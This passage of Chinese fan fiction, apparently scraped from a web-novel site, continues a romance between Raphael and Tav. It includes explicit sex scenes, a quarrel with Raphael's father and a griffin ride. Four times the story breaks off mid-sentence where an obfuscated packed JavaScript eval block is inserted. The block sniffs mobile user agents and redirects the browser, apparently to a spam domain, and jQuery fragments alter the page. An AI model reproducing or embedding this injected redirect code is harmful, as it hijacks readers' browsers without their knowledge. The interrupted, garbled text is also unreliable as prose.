她寒假准备什么时候回家,他又有什么打算。 …… 拉斐尔一开始只是偶尔应和,听到推荐信后似乎想说什么但没有,不过塔夫猜测他是想评一嘴二人之间的契约正式结束了。接着他询问影心是否需要兼职或实习机会,他可以帮忙。最后,又提起暑假时他离开农场前的邀请: “我们冬天可以去南方度假。” “我还是会先回农场见妈妈和姐姐,和她们庆祝新年。”塔夫问,“你想一起来吗?她们一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14596792|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定也会很高兴见到你,还有明斯克和小布。” 拉斐尔思索片刻,他新年期间也有一些社交活动必须露面。 塔夫点点头:“寒假比暑假要短。不过我可以提前两周或者三周回学校,我们再一起去哪里?” 她摸到拉斐尔心跳一下子加快,但他语气镇定、回答简洁,几乎没有表露任何兴奋或激动的迹象: “好。” 至于具体细节,则回学校后再说。 塔夫笑着在拉斐尔怀里靠了会,直到他心跳重新慢下来,才又开口问:“你最开始想知道什么?我是指你早上说的那个交换条件。” “似乎已经不需要知道了。”拉斐尔在她头发上吻了吻。 “可我还是挺好奇的。” 拉斐尔沉默片刻,像是在回忆:“你为什么会想要在……” 他有些紧张地轻笑一声。 如果一开始他只是随口打趣一问,为了让二人之间的“交易”能够合理延长,后来却多了些担忧甚至自我怀疑。已经过了两个月,但他仍没有……所以塔夫才想要由她主导?她其实有些不满或者失望吗? 不过现在,同她计划起临近寒假结束的旅行,他的那些忧虑已经消失很多。 他们还有很长的未来。 . 塔夫抬眼望着拉斐尔。 但他没有垂眼看她,似乎陷入沉思,而她掌下的心跳却重新响亮起来。 塔夫伸手在他下巴上摸了摸,那里已经冒出些浅浅的胡茬,不硬,细细的还有些柔软,与以往光滑的皮肤相比多了磨砂感,摸上去并不扎手只是有点刺痒。 她又捏了捏。 这对拉斐尔也许不太舒服,因为他捉住她的手,重新按回到自己胸口上。那里心跳依旧响亮。 塔夫能猜到拉斐尔的问题。 至于回答,最直接的原因当然是知识的力量。 虽然她还没有看完一整本《淑妮四步》,但已经知道这样一来无论从角度频率还是时间深浅上,她都能占据主动。除了能够了解自己的反应,还能看到拉斐尔…… 塔夫垂下眼睛靠在拉斐尔肩膀,忍着羞赧:“我也想尝试一下,也许我们都会觉得新鲜?”她停顿片刻问,“你会觉得有意思吗?” 拉斐尔抬起她的下巴,重重吻住她。 塔夫身体里很快重新升起一阵焦灼,瞬间回到想要紧紧拥抱拉斐尔的那一刻。仿佛刚才的聊天休息并没有打断二人间的任何亲密,反而让它得以积累发酵成更猛烈的激情。 她伸手抱住拉斐尔,反勾住他的舌头,拉斐尔手松开她的下巴,滑到她腰后,将她牢牢压向自己身前,更热烈地亲吻她。 塔夫开始有些喘不过气,稍稍推开拉斐尔。他也呼吸急促,脸颊绯红,这让她忍不住微笑。拉斐尔望着她一会,半撑起身,背靠枕头,帮她翻身覆在自己身上,一手伸进她发间扣住,一手却仍抚在她腰后,不轻不重地按摩着。 塔夫顺着拉斐尔手掌的力量微微弓起身,含住他的嘴唇舔舐亲吻。拉斐尔偶尔缠住她舌尖回应,手指则沿她背沟抚摸,又滑向她腰窝,最后贴着唇缝挑逗,扯出晶莹水液。 塔夫呼吸渐渐粗重起来,终于无法忍耐地咬下他嘴唇,撑起身捉住拉斐尔的手,舔舔他的指尖: “该轮到我了。” 她伸手扶住拉斐尔。 早上的光滑已经凸起条条棱筋,因为肌肉紧绷而变得坚硬失去弹性。 只有温度没有变,甚至比之前更加滚烫。 . 101.主导 塔夫慢慢坐了下去。 拉斐尔发出一声长长的叹息。 他向后微微仰着头,喉结因此变得明显,上下滚动时显出几分脆弱。然而他几乎是立刻又咬住牙,似乎极为用力,连下颌线条都变得方正坚硬起来。 这让塔夫获得了极大的满足,跟着轻叹一声:“……真好听。” 拉斐尔脸一下涨红,嘴唇微微颤抖,两腮也跟着鼓起又缩回。 “放松。”塔夫忍不住俯身在拉斐尔下巴上吻了吻,角度变化让两人一起轻喘一声。 “我喜欢你的声音。”她又在他喉结上亲吻着,感受着那脆弱在唇齿间颤动,拉斐尔似乎想要后退逃开却无法拒绝。她忽然能够把想法说出口,“我想听到。我想知道你也像我一样是享受的。那让我感觉更好。” 拉斐尔摸着她的头发,还是叹了口气:“嗯。” 低沉喑哑带着鼻音。 塔夫亲亲拉斐尔嘴唇,手抚在他绷紧的结实肩膀上,重新直起身,望着他的眼睛,尝试着摇摆起来。 也许是因为她能更清楚地看见拉斐尔的目光、听到他的低吟,也许是因为她更了解自己,或许还是因为她终于完成最重要的考试、心情彻底放松下来,塔夫开始一点点体会到乐趣。 而且和学习看书一样,重复形成积累,量变带来质变,最后聚为一种仿佛自发的无法抵挡的势能。塔夫看见拉斐尔手紧握成拳,朝他伸出手要他与自己十指相扣,一遍遍告诉他这感觉有多棒。拉斐尔渐渐露出痛苦又快乐的神色,呼吸变得越来越急促粗重,塔夫脑海中闪过一个念头,却脱口而出:“再忍一下!” 可拉斐尔已经抓住她用力按了下去,同时重重向上数下,塔夫惊得喘叫一声,又连忙咬住唇,拉斐尔的闷哼更加清晰。 塔夫感受着他的颤动,说不太出自己现在的感受,到底是因为看到拉斐尔释放而满意幸福更多,还是因为自己戛然而止而失望痛苦更多。 她应该是高兴的。 但这失望又是如此强烈,甚至让她感受到真实的物理上的疼痛。 塔夫深深呼出口气,想要抬起身,拉斐尔却仍牢牢按着她,又很快动作起来,拇指滑向她神经稍束中心,熟练地挑拨揉弄。 那势能瞬间重聚在一起,塔夫眼前浮上一片雾气,在波涛中几乎没办法支撑自己,无力地向后半仰倒着大声呼吸。 再撑一会…… 再一会…… 快了…… 拉斐尔却忽然停下,坐起身将她抱向自己。 塔夫浑身颤抖起来。 怎么会这样。 这简直是种折磨。 为什么要这么做。 雾气凝成眼泪,很快蓄满眼眶,又肆无忌惮地流了出来。塔夫无法控制地抽泣:“……好难受……为什么……” 拉斐尔低声咒骂一句,慌乱地亲吻她的眼睫和脸颊,喊她的名字:“塔夫,对不起,我刚才只是想看到你的脸。” “……好过分……” 塔夫闭上眼睛不去看他,拉斐尔安慰着吻她,一直在她耳旁沙哑着嗓子低声重复她的名字。 巨浪很快再次卷起,隐隐携着之前两次的力量。这是她想要的,塔夫却忽然感到犹豫甚至一阵恐惧。然而她被紧紧抱在拉斐尔身前,只能搂住他的肩膀,战栗着接受这份令人窒息的绝顶洪流。可她的声音却无比满足,听上去甚至充满褒奖。在失神前,塔夫干脆狠狠一口咬在他肩膀上。 拉斐尔肌肉瞬间绷紧又立刻放松下来,手在她的后背慢慢抚摸。 余韵温柔地冲刷,塔夫终于松开口,便被拉斐尔拥抱着重新躺了回去。可她现在简直一塌糊涂,浑身像是被从水里捞起,连头发也被汗水打湿黏在脖子上和脸上,脸上还混着眼泪。 塔夫转过身背对着拉斐尔。 拉斐尔替她拨开黏在皮肤上的头发,仔细地握在手里,再收拢放到枕头上。他一松开手,头发便散开了,衬在雪白的枕头上,像褐色的扇子。 他俯身吻吻她侧脸:“想去洗澡吗?” 塔夫不想睁开眼睛。 拉斐尔从她身后抱住她:“刚才对不起。” 塔夫眼泪一下又涌了出来,拉斐尔手忙脚乱地替她擦拭,道歉的声音也带上颤抖。塔夫摇了摇头,转过身头埋在他身前。拉斐尔重新在她后背温柔地安抚起来:“我不会再这么做了。” “不是的!不是因为刚才!”塔夫连忙说。她哽咽了下,“你之前忍得时候,也会这么难受吗?” 拉斐尔手僵住:“什么?” 塔夫仰头望向他。他满脸通红,嘴唇颤抖着却说不出话。她忽然又好气又好笑起来:“这种事我当然能知道的啊!你不是一直以为你瞒着我的吧?!你可是在……我可是在……我们可是在……啊!” 拉斐尔一下紧紧抱住她,下巴抵在她头上,胸口起伏。 塔夫忍不住又拖着音“啊——”一声,想要稍稍退后些,拉斐尔却牢牢揽在她身后,不许她看自己。塔夫重新好笑起来,她试着和他说过至少两次,不过似乎始终没有传达到,就算她现在想要追问也只能让他更窘迫。塔夫也伸手抱住拉斐尔: “至少以后,你可别再……你不需要在这种事情上忍耐了。” 拉斐尔手缓缓下移,将她更紧地压向自己,又挺了挺腰。 塔夫:“……” 塔夫:你可还真是一点都不客气啊! . 还好两人的马车出发时间在午饭后不久。 否则塔夫难以想象这天会过成什么样子,从一早上开始情绪便大起大落,从一个极端跳到另一个极端,夸张得简直让她以为自己真的有表演型人格。 虽然她是没有,拉斐尔倒是很会装可怜,捉准她吃软不吃硬。 而且他其实还偏偏什么都没说,只是眼睛湿漉漉地隐忍地看着她,反而让她自己脑补出来更多怜悯,简直和她误会他父子关系的时候一模一样!等真的做起来他却又不留余力,横冲直撞,还无师自通地学会边做边表达感受了?! 唔,好吧,那应该是刚才跟她学的。 不过她只是说过些含糊的舒服很棒什么的。她可从来没有从里到外三百六十五度角地细致描述形容!词汇量大也不是这么个使用法吧,有的时候她还得愣住想一想,但他又根本不给她时间。而且!关键时刻问她可不可以要不要继续又是从哪里学来的?! 唔,好吧,这个是他早就有的,不过升级了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600885|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塔夫有气无力地把几件换洗衣服塞进背包。 还有最后一点,虽然事后回忆起来有些羞耻,但她当时其实觉得很兴奋,每次都有回应,拉斐尔发现她喜欢,自然就说得更多了。 她也是共犯。 塔夫确认带齐了所有东西,不敢再重新细看床上一片狼藉。 也还好只有床上。拉斐尔在这点上倒意外地克制,两人中场休息时用的杯盘也始终放在桌上,被他离开房间时带了出去。 没想到有男仆服务的贵族大少爷还能这么顺手地清理房间? 塔夫想起拉斐尔在农场的那段日子也的确如此,又记起他一直在贵族寄宿学校,大概很多事还是需要自己动手。 于是,塔夫一出房间便没有任何罪恶感地把背包塞给拉斐尔:“我累了。” 他洗过澡刮过胡茬,皮肤光滑,头发仍有些水汽,整个人看上去柔软清爽,居然还有些羞答答的,甚至不敢抬眼看她。 塔夫顿时又气不打一处来。 你现在害羞个鬼啊!? 还是在忏悔?那你的确应该忏悔啊! 她腿都有些发抖,递出背包后就扶上墙壁。 “你的胳膊。”拉斐尔俯身勾着她腿弯将她横抱起来。塔夫手搭在他肩膀,摸了摸他有些湿意的发尾,不由得心生怀念,又微笑起来:“我们第一次这样还是刚认识不久的时候。” 拉斐尔脚下一顿:“?!” “小心!”塔夫反应过来立刻无语,“你刚才胡思乱想到哪里去了?” 拉斐尔始终牢牢抱着她,稳了稳这才开始下楼梯,一口气到一楼才说:“没有。”然而他耳朵有点发红。 塔夫倒生出些乐趣来,逗他:“那天我们全身上下都是湿漉漉的,居然还能专心吵一路,可见你那时有多气人。你回去之后是不是梦到什么不可描述了?” “没有。”拉斐尔正气凌然地再次说。 “那你梦到过我什么?”塔夫狐疑,同拉斐尔一起坐上马车,“上次梦中梦那个不算。你肯定还梦到我过别的。” 拉斐尔瞧她一眼,又移开视线。 塔夫一眨不眨地盯着他,慢慢弯起唇:“哈。果然有。” 拉斐尔重新看向她,也笑起来:“你就是这样瞪着我,不允许我靠近。而我不过是想要摸摸你的眼睛,还是在我的梦里。” 塔夫为自己的想法一下子涨红脸,又后知后觉地恼羞成怒:“你现在倒是装起纯情来!也不看看你刚才都做了什么。” 拉斐尔环住她:“嘘,我们还在马车里。” “胆小鬼。敢做不敢说?” “我当然敢,不过现在在这里可不行。”拉斐尔压低声音,“如果你等不及,我可以请车夫停下。” “?!” 拉斐尔笑着在塔夫耳边吻了下,握住她推在自己肩膀的手,又亲了亲她的手指:“谢谢你,塔夫。我……很喜欢你。” 塔夫慢慢抿了抿唇。 她今天是怎么了,眼泪失禁了吗。 拉斐尔没有听到她的回答,像是不安地重新吻起她的手。塔夫抽回手拥抱他:“我也很喜欢你,拉斐尔。我才是要谢谢你,这次旅行真的棒极了。” . 102.新年 拉斐尔望着塔夫慢慢爬上塔楼楼梯。 同往常一样,她冲他回过头,微笑着说明天见。 这让他恍惚感到一种奇妙的、时间上的错觉。 他正在看着一件事情发生,却同时对这件事产生出怀旧之情。 他知道塔夫也是如此。 他今天抱她下楼梯的时候,二人一起重历了那段充满争吵的路,给普通的小事凭空添上好几分乐趣。另一方面,过去那段拥抱和争吵也因为今天被染上一层温暖的滤镜,仿佛他和塔夫的关系从一开始便是如此亲密。 他喜欢这种感觉。 过去、现在、还有未来,一起交织成一种可知的、可把握的重复,沉甸甸的,却丝毫不是负担,也并没有沉闷,只带来心安。 他不禁怀疑喜新厌旧是一个借口。 他同塔夫在一起经历得越多,这种感觉便积累得越多,只能令人更加期待。 与此同时,这忽然而至的怀旧之情似乎也把他拽入迟来的青春期。 他的情绪会突然剧烈起伏,甚至偶尔回忆起初高中时,男生充满好奇和冲动,关于性的话题可以轻易取代体育比赛,成为讨论的中心。某人会得意洋洋地广播着他周末离开了学校:是的,他也做了那件事。他第一次就干得很不错。对方比他成熟年长有经验,但还是被他迷住了。 他还记得那些,并不是因为他想要记得,而只是因为他记得。 他始终保持着一种旁观者的态度,但心里的确有几分鄙夷,尤其当他知道对方刚刚因为文法课第三次去校长室后,那鄙夷得到巩固:九狱啊,形容那些没人想知道的细节时请至少使用正确的动词变格以及分清形容词和副词的区别! …… 而现在,他开始感受到那种渴望,强烈、不稳定、会突然占据一切思考。 任何时候,课中、训练、甚至只是处理乏味的杂务时,偶尔想起塔夫湿漉漉的眼睛,他的胸口和喉咙就会一阵发紧,不得不用力朝肺部吸气才能够继续正常呼吸,却升起更多隐秘的欲望和冲动。 他还是急切、笨拙、只能努力显得不那么无措。她会打趣他,但他清楚她并不讨厌。相反的,她乐在其中,邀他与她一起“学习”尝试,而原因只是因为…… 她喜欢他。 她会因为一些小到无法再小的事夸赞他。他开始觉得有些夸张甚至刻意,却变得越来越习惯,还会偷偷做同样或类似的事期待她的反应。 她希望与他毫无保留地沟通。他可以随心所欲地对她说什么,她总是会试着理解他,也会因为更加了解他而与他更加亲密。 他当然并不会真的随心所欲,但只是这样想一想,就能够让他感到一股眩晕般的愉快。 和塔夫做.爱的感觉也很好。很舒服。他喜欢她的一切,明亮的眼睛,柔韧的四肢,有弹性的皮肤,笑的时候会露出酒窝,牙齿泛着光泽。他喜欢她的喘息,呻吟,喊他的名字,要求他继续。 她对他的吸引力居然仍能够与日俱增。这有时会令他忽然感到一阵恐惧,仿佛世界在他周围不断坍塌缩小,小到只能容下塔夫一个人。 可他也喜欢这种感觉,甚至获得一种隐秘的骄傲与优越。 很多人,至少这里的大部分人,都绝对无法和一个这样可爱的人同享如此亲密无间的依恋。 在新年宴会上的觥筹交错和衣香鬓影中,拉斐尔想念着数天行程之外的一个人,却仿佛她就在身边一般,观看了博德之门新年最后一场盛大的烟花表演。 …… 新年间,拉斐尔的另一项必需工作是检查领地的上年各项汇总。 他坐在父亲书房里翻看初版草案,在列有资产和利润的表格旁写分析批注。这是他第四年处理这项工作,不再需要顾问帮忙,效率更是奇高。只是偶尔会停下笔想象如果塔夫在身旁,而她又会对刚才那处数字或文字做出怎样的反应。这让拉斐尔忍不住翘起嘴角。 “你仍和那个没有家族姓氏的女孩在一起。”梅菲斯特在书桌后开口,“并已经在年轻人的社交圈公开。” 拉斐尔抬起头:“她的名字叫作塔夫,父亲。” 梅菲斯特不置可否地唔一声,推下眼镜,继续读管家送来的议事录,过了片刻才说:“这无关紧要。” “我们之间的约定仍在,你不能反对我的情感生活。”拉斐尔眯了眯眼睛,“也许你可以试着记一下塔.夫.的名字了。” “不,拉斐尔。我没有反对。我的意思是,这对你来说是件好事。” 拉斐尔一怔,心里慢慢升起不可置信:“父亲!你是说……” 梅菲斯特扫了他一眼:“虽然你对男女关系的态度还是太过天真,但至少能够在性方面上得到熟练和习惯。这对你的未来总归有益。” 拉斐尔脸色顿时变得铁青,猛地站起来,几步冲到梅菲斯特面前,朝他领子倏地伸出手,最后还是握成拳砸在桌子上:“你把她当成了什么?!” 梅菲斯特哼一声,把被掀起的几张尚未装订的羊皮纸收拢。 始终在书房中待命的哈勒普同管家对视一眼,一起默默退了出去,又回手把门关上。 “坐回去,拉斐尔。别表现得和陷入爱河的毛头小子一样,一句话便能够激怒你。”梅菲斯特始终没有看拉斐尔,仍继续读信, “你刚才打算做什么?向你的父亲发出决斗邀请?你清楚她和你之间的差距,决定同她交往时便应该能够预见此类评价,甚至会更糟。 “也许在你看来你和她的关系再‘纯情’不过,可你无法控制别人的想法,难道你准备把每个人都揍一遍?有时间发怒,不如在享受情爱之余想想你能够做什么,接下来又应该做什么。” 拉斐尔胸口起伏,手指捏在桌缘。厚重的黑色胡桃木发出令人不安的咯吱轻响。 “况且,除此之外她还能给你带来什么价值?”梅菲斯特又翻过一页,“浪漫?浓烈的情感体验?真爱?如果那是可靠的,权力的意义又在哪里,无数人追求财富又是为了什么。别忘了,利益关系永远比感情更加长久。” “既然如此,你当初又为什么需要‘亲.自.’在我和塔夫的感情关系之间埋下怀疑的种子?”拉斐尔开口讽刺道,“只是你大概没有想到,这手段对她没有起到你期望中的作用。” “我不需要‘亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617142|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自’对你们做什么,也不需要特别针对她。我只需要选择在农业合作上保持中立而不是倾向反对,这一转变产生的影响就足以令她自顾不暇。” “你调查了塔夫。”拉斐尔一字一顿地说。 “我只是了解你,拉斐尔,你过去几天表现出的态度太过明显了。”梅菲斯特终于放下信, “你以为这一切都只是为了反对你的爱情游戏?那你还真是令我失望。 “你和一个农场姑娘之间的感情是其中最不重要的原因。不如说,正是因为她如此无关紧要,背后没有任何势力,我才对你保持宽容至今。但你似乎一直没有记起你的责任。 “为了她,你随意使用家族契约的力量。两次。如果第一次还能说是为了雷文伽德,第二次最好不过是冲动之下的过度惩罚。 “你反抗我的要求,甚至计划让哈勒普代替你……” “米佐拉并不介意。”拉斐尔耸耸肩,微笑着坐了回去,“而且她其实更希望舞会时和威尔一起。” “不要打断我,拉斐尔。”梅菲斯特嗓音沉下去几分, “这不仅仅是你和米佐拉或者威尔之间的事——尤其在雷文伽德公爵因为种种原因始终处于风口浪尖的情况下,这直接事关三个家族的合作以及与焰拳关系的稳定。” “在别人看来。” “还有你自己心里。不要告诉我你真的在意独立农联盟的游说。无论他们如何雄辩,你也应当牢记你的态度便是家族的立场。你知道有多少魔鬼、九狱种、甚至提夫林需要依附我们的领地生活。” “他们过得不是都挺不错的。”拉斐尔弹弹手旁一沓羊皮纸, “更何况农场只占领地资产不足半成,每年仅能勉强盈利,利润更是连家族信托的零头都不到。共同农业政策对我们的影响微乎其微。” “如果你反驳我的出发点是领地粮食生产的独立和安全,或者至少考虑下合作政策对领民基本食物供给的影响,我对你的失望会少很多,拉斐尔。” 梅菲斯特摘下眼镜,慢慢站起身, “在任何情况下,如果你不能从中获利,也必须保证家族和我们所庇佑的居民的利益不会受到损害。我们是贵族,这点永远不会改变。 “过去几天的新年宴会上,你与独立农代表来往甚密,故意让每个人看见。你认为提议合作的其他贵族会怎么推测卡尼亚家族的立场?最古老的贵族也想要加入新自由派的阵营?” “听上去有点意思。”拉斐尔笑着说,“博德之口的报社编辑甚至不需要另外再想一个标题。” “别。挑。战。我。拉斐尔!”梅菲斯特眼瞳忽然竖起,嗓音变得格外低沉,几乎带着金属刮擦之声,“你清楚‘不反对’的意思。” 拉斐尔抿住下唇,最后还是移开视线:“我知道我的责任。”他停顿片刻,声音也低沉严肃起来,“我的私人情感不会影响到领地和家族事务的决策。” “记住你说过的话。”梅菲斯特重新戴上眼镜坐下, “那么现在,完成你的工作,别出任何愚蠢的差错。 “然后从我的书房滚出去。” . 103.惊喜 小镇的新年庆典持续了七天,塔夫便连续吃了七天的烤苹果。 接下来,她同明斯克和小布与卡菈克和戴蒙溜冰、滑雪、冰钓、雪鞋越野,玩得不亦乐乎。贾希拉为她准备的零食包括苹果派、苹果蛋糕、苹果馅饼、苹果玛芬,都加了满满的肉桂,饮料则是热乎乎的苹果醋或苹果酒。 不难想象,哪怕她再喜欢,也开始一提到苹果就有点胃酸,甚至连小布对她的“供奉”都表示了不满。 因此,当这天贾希拉大声朝楼上喊道“塔夫,你的惊喜!”时,她大声回道:“真的不用啦!”就继续和卡菈克玩小丑牌。 “那可真令人有些难过。”低沉悦耳的声音带着笑意响起。 “拉斐尔!?” 塔夫一口气跑下楼梯,扑进他怀里,“见到你真开心!” “至少先让拉斐尔进屋,塔夫。”贾希拉打趣,“否则嘴唇会被黏住的。” “妈妈?!”塔夫又羞又好笑地扭过头,“我们还没亲呢!” . 卡菈克也跟在塔夫身后下楼,几人互道新年快乐。 母亲和姐姐都在,塔夫到底还是收敛许多,却仍是抱着拉斐尔好一会,又跟在他身后转了半天,这才想起来问:“你怎么来了?” 拉斐尔正把新年礼物搬进农舍(包括给小布和戴蒙的一份),笑着回:“被父亲踢出了家门。” “吓?” “因为想早点见到你。”拉斐尔飞快在她脸颊上偷偷亲了一下。 塔夫不想再忍耐,趁着母亲和姐姐拆礼物,拽着拉斐尔到书房,关上门便跳到他身上。拉斐尔配合地接住她,塔夫已经捧着他的脸亲吻起来,很快就呼吸急促,哼着鼻音在他身上扭蹭,拉斐尔不得不将她紧紧压在门上,又一把扣住手腕:“别乱动。” 但他脸颊和脖子也因为兴奋泛起浅浅的红色,胸膛起伏,心脏跳得飞快。 “你不喜欢吗?”塔夫觉得自己的声音简直能滴出水。 拉斐尔狠狠吻住她,接着重重叹了一口气:“塔夫。” 塔夫又哼哼一声,终于还是环住他的脖子只是拥抱他。拉斐尔慢慢放下她,等两人呼吸都平复下来,这才整理衣服打开门。塔夫随便拿了本书装模做样地和拉斐尔讨论,看到姐姐和母亲挑着眉,脸上是一模一样的促狭取笑的表情,她终于后知后觉地难为情起来。 好在拉斐尔很镇定,仿佛他刚刚进门,礼貌地回应贾卡二人对礼物的感激。这时,屋外传来一声粗犷的高声尖叫。 又不过几秒,明斯克已经冲了进来,浑身冒出蒸汽——白雾凝绕成的图案居然和他光头上的紫色纹身相仿:“你们什么时候搞到了一只狮鹫!?” 小布:“吱!” 塔夫:“什么?!” 卡菈克:“狮鹫?!” 贾希拉:“拉斐尔来了,明斯克。” 拉斐尔:“那是格列芬。” 明斯克看看拉斐尔,瞧瞧塔夫和卡菈克,最后望向贾希拉。 拉斐尔又说:“你想试骑吗?” “当然!”明斯克清了下嗓子,“咳嗯,拉斐尔!好久不见!新年快乐!我这次应该没有打扰到你和塔夫……”他的话被小布打断:“吱!” . 拉斐尔有所准备,格列芬身上除了骑手鞍具还挂着客乘座椅(之前用来放礼物和行李)。 众人——包括贾希拉,以及当然还有小布,不过它看上去很害怕成为狮鹫的食物——都被载着绕农场低空盘旋一周。明斯克恨不得能自己骑着飞一圈,被小布的“吱”和贾希拉的眼神制止住后,换成满脸羡慕地看向塔夫。 塔夫回瞪他:我和你们一样,并没有骑! 明斯克立刻理解她的意思,继续眼神控诉:拉斐尔肯定会教你或者至少带着你骑!别忘了当初可是明斯克一起教你骑的马! 塔夫忍不住抿唇笑起来,却无论如何都不再看明斯克。他只能继续羡慕得哀声叹气,手上一沉,是贾希拉塞进拉斐尔带给他与小布的礼物,接着就被赶回自己的农舍。 . 塔夫原本两天后就会出发,行李已经收拾妥当,此时没有犹豫太久,就与妈妈和姐姐提前道别。而且明斯克说得果然不错,拉斐尔邀请她共骑。 她坐在拉斐尔身前,固定住绑带,在他询问后迫不及待地说:“我准备好了!” 拉斐尔全身忽然绷紧,手臂和双腿同时发力。狮鹫舒展双翼,平地而起。塔夫又一次欢呼起来,冲妈妈和姐姐(以及还是跑出来大声羡慕的明斯克和松一口气的小布)挥手告别。 天空中,她感受身下狮鹫的矫健肌肉随着每一次振翅而张驰变化。身后拉斐尔也同样充满力量,体温从二人紧贴着胸背、大腿和手臂传来。塔夫呼吸与拉斐尔渐渐同步,又和狮鹫融为一体,仿佛是自己在飞翔一般。 “这真是太棒了!”她要拉斐尔调低甚至干脆关上防风屏障,张开双臂,“喔哦哦——!” “想来点刺激的吗?”拉斐尔问她。 “当然!!” 拉斐尔在她身后笑起来:“坐好!”他手臂忽然在她身侧收紧。狮鹫向地面一个俯冲。 风呼啸而过,突然的失重感让塔夫几乎飞离座椅,她猛地收回手,死死抓住拉斐尔胳膊,声音也一下拔高:“哇啊啊——!”而不等她尖叫结束,狮鹫已经重新爬升,平稳飞了起来。 塔夫大口呼吸,心脏很快从喉咙落回原位,胃部也停止收缩翻腾。她的膝盖仍在微微发抖,却已经忍不住大声笑起来,兴奋地拍着拉斐尔:“刚才真的好刺激!太爽了!我们再来一次!” “想试试翻转和急转吗?”拉斐尔大笑着问。 “先来一次俯冲!”塔夫重新张开手臂。 俯冲。急转。翻转。 最后格列芬先晕起来,不得不停下休息,鹰喙在拉斐尔肩膀上轻啄,又靠在他身前闻大块嗅盐,撒娇抱怨了好一会才重新上路。 …… 傍晚抵达一座中等大小的繁华城市,二人在旅店下榻。塔夫坐在床边擦头发时仍念念不忘:“这简直是最棒最难忘的一天!” “我们还可以让它变得更加难忘。”拉斐尔慢慢靠向塔夫身前,手撑在她腿侧俯身把她拢在怀里,嘴唇贴在她耳边呼气,温度已经变得炙热。 “可是你胳膊好像有些打颤呢。”塔夫笑着往后退了退,又摸上拉斐尔紧绷的肩膀,替他按摩几下,“今天飞了一天肯定很累了吧。我们明天没有任何安排。” 拉斐尔抓着塔夫腿弯把她重新拉近,封住她的嘴唇。 亲吻激烈而绵长,当塔夫终于可以重新说话时,又气喘吁吁地向拉斐尔提议那就还是用骑狮鹫的方式,这样也可以让他能够省些力气,却被直接牢牢压在身下。拉斐尔近乎咬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630701|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牙切齿:“你到底对我的体力有什么误解?” 塔夫忍不住笑起来,双腿缠上他后背,脚跟踢了踢他结实挺翘的屁股,仰头吻住这位骄傲的魔鬼。 …… 而且最后,她还是成功翻身到拉斐尔上面了呢。 真是可喜可贺。 至于她又得意忘形起来,打趣着拉踩拉斐尔好几句,结果他终于再次忍无可忍,必须要向她证明什么似的握住她的腰,又按住她的腿…… 塔夫从拉斐尔身上瘫落回床上,一动也不想动,由着他帮自己清理。 “你体力很好。”当她感到拉斐尔舌头慢慢打着转又深深浅浅探进来、很快还加上手指时,只能有气无力地在他头发上抓了一把,服输道,“是我体力不行。 拉斐尔挺直的鼻骨紧紧抵着她,呼吸仍然粗重滚烫,声音也含混低沉:“你的体力比你想象中更好,塔夫。” 塔夫很想把拉斐尔之前那句话扔回他脸上:你到底对我的体力有什么误解?! 可惜她已经再次说不出话来。 …… 第二天一早塔夫醒来时,发现自己还窝在拉斐尔怀里。 他仍合着眼,头发乱糟糟的,胸膛随呼吸微微起伏,显然睡得正沉。这让她不禁有些得意:自己体力果然更好!她数了会拉斐尔的睫毛,微笑着重新闭上眼睛,居然很快又睡了过去。 再次醒来时拉斐尔已经起身,笑着问她:“想在床上吃早餐吗?或者,已经是午餐了。” 塔夫忍不住嘟囔一句:“我醒得其实比你早。” 拉斐尔很快反应过来,笑容变得意味深长:“原来是这样吗?” 塔夫连忙回到最初的问题:“我要在床上吃!” 拉斐尔替她端来盘子,慢悠悠说:“补充一下体力,我们一会才能继续。” “噗!”塔夫悲愤欲绝,这“继续”是从哪里来的?昨晚明明已经结束了! 好在拉斐尔只是口头吓唬吓唬她,或者只是看到她的反应便足够满意,总之他改变了(塔夫所认为的)最开始的主意,上船前,二人下午一起在附近转了转。 